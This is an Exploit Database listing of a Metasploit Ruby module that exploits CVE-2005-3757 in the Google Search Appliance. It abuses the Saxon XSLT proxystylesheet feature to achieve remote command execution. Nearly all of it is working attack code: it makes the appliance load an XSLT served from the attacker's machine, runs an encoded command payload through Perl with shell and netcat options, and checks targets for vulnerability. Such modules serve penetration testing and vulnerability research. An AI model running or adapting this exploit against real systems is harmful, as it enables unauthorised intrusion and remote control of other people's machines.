Google Appliance ProxyStyleSheet – Command Execution (Metasploit)

• Exploit Database
• 8 阅读

• 作者： Metasploit
  日期： 2010-07-01
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/16907/

• ##
  # $Id: google_proxystylesheet_exec.rb 9653 2010-07-01 23:33:07Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::HttpServer
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Google Appliance ProxyStyleSheet Command Execution',
  			'Description'=> %q{
  				This module exploits a feature in the Saxon XSLT parser used by
  			the Google Search Appliance. This feature allows for arbitrary
  			java methods to be called. Google released a patch and advisory to
  			their client base in August of 2005 (GA-2005-08-m). The target appliance
  			must be able to connect back to your machine for this exploit to work.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9653 $',
  			'References' =>
  				[
  					['CVE', '2005-3757'],
  					['OSVDB', '20981'],
  					['BID', '15509'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Space' => 4000,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl bash telnet netcat-e',
  						}
  				},
  			'Platform' => 'unix',
  			'Arch' => ARCH_CMD,
  			'Targets'=> [[ 'Automatic', { }]],
  			'DisclosureDate' => 'Aug 16 2005',
  			'Stance' => Msf::Exploit::Stance::Aggressive,
  			'DefaultTarget' => 0))
  	end
  
  	# Handle incoming requests from the appliance
  	def on_request_uri(cli, request)
  
  		print_status("Handling new incoming HTTP request...")
  
  		exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'
  		data = @xml_data.gsub(/:x:MSF:x:/, exec_str)
  		send_response(cli, data)
  	end
  
  	def check
  		res = send_request_cgi({
  			'uri'=> '/search',
  			'vars_get' =>
  			{
  				'client'=> rand_text_alpha(rand(15)+1),
  				'site'=> rand_text_alpha(rand(15)+1),
  				'output'=> 'xml_no_dtd',
  				'q' => rand_text_alpha(rand(15)+1),
  				'proxystylesheet' => 'http://' + rand_text_alpha(rand(15)+1) + '/'
  			}
  		}, 10)
  
  		if (res and res.body =~ /cannot be resolved to an ip address/)
  			print_status("This system appears to be vulnerable")
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)
  			print_status("This system appears to be patched")
  		end
  
  		print_status("This system is not exploitable")
  		return Exploit::CheckCode::Safe
  	end
  
  
  	def exploit
  
  		# load the xml data
  		path = File.join(Msf::Config.install_root, "data", "exploits", "google_proxystylesheet.xml")
  		fd = File.open(path, "rb")
  		@xml_data = fd.read(fd.stat.size)
  		fd.close
  
  		print_status("Obtaining the appliance site and client IDs...")
  		# Send a HTTP/1.0 request to learn the site configuration
  		res = send_request_raw({
  			'uri' => '/',
  			'version' => '1.0'
  		}, 10)
  
  		if !(res and res['location'] and res['location'] =~ /site=/)
  			print_status("Could not read the location header: #{res.code} #{res.message}")
  			return
  		end
  
  		m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)
  		if !(m and m[1] and m[2])
  			print_status("Invalid location header: #{res['location']}")
  			return
  		end
  
  		print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")
  		start_service
  
  		print_status("Requesting a search using our custom XSLT...")
  		res = send_request_cgi({
  			'uri'=> '/search',
  			'vars_get' =>
  			{
  				'client'=> m[2],
  				'site'=> m[1],
  				'output'=> 'xml_no_dtd',
  				'q' => rand_text_alpha(rand(15)+1),
  				'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",
  				'proxyreload' => '1'
  			}
  		}, 25)
  
  		if (res)
  			print_status("The server returned: #{res.code} #{res.message}")
  			print_status("Waiting on the payload to execute...")
  			select(nil,nil,nil,20)
  		else
  			print_status("No response from the server")
  		end
  
  		print_status("Shutting down the web service...")
  		stop_service
  	end
  
  end